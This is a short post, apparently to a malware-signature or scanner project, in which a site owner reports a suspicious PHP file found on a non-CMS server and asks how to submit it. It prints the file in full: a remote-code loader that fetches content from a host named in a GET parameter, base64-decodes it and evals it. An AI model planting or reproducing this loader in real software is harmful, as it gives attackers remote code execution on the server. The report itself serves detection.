Where to add files that do not fit into a CMS category

[Xsmael]

Hello,

I 'v seen this php script in one of my servers (i believe its malicious, cause it looks like some PHP injection) , which is running a php-vuejs web app, so no CMS,
How do i add it to your list ?

oaosmsru.php

<?php

$r = 'http://';

$rr = $r.$_GET['vgk4zxwpd9ljcu'];

$f = @file_get_contents($rr);

$h = urldecode(base64_decode($f));

$i = '?>';

$n = $i . $h;

eval($n);

?>